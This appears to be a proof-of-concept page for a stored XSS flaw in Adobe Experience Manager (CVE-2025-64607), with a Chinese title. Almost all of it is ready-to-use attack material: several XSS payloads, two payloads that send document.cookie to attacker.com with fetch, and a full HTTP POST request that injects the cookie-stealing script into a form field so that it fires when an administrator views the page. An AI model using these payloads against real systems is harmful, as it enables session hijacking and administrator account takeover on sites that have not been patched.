Adobe Experience Manager 存储型XSS漏洞 (CVE-2025-64607)

<!-- Stored XSS PoC for CVE-2025-64607 --> <!-- Inject this payload into any form field in Adobe Experience Manager --> <!-- Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Image tag XSS payload --> <img src=x onerror=alert('XSS')> <!-- Event handler XSS payload --> <svg/onload=alert(document.domain)> <!-- Cookie stealing payload --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Stored XSS exploitation example --> <!-- Step 1: Inject payload into form field --> POST /content/forms/af/submit HTTP/1.1 Host: vulnerable-aem-server.com Content-Type: application/x-www-form-urlencoded fieldName=<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>&submit=Submit <!-- Step 2: When admin views the page, cookie is stolen --> <!-- The malicious script persists in the stored content -->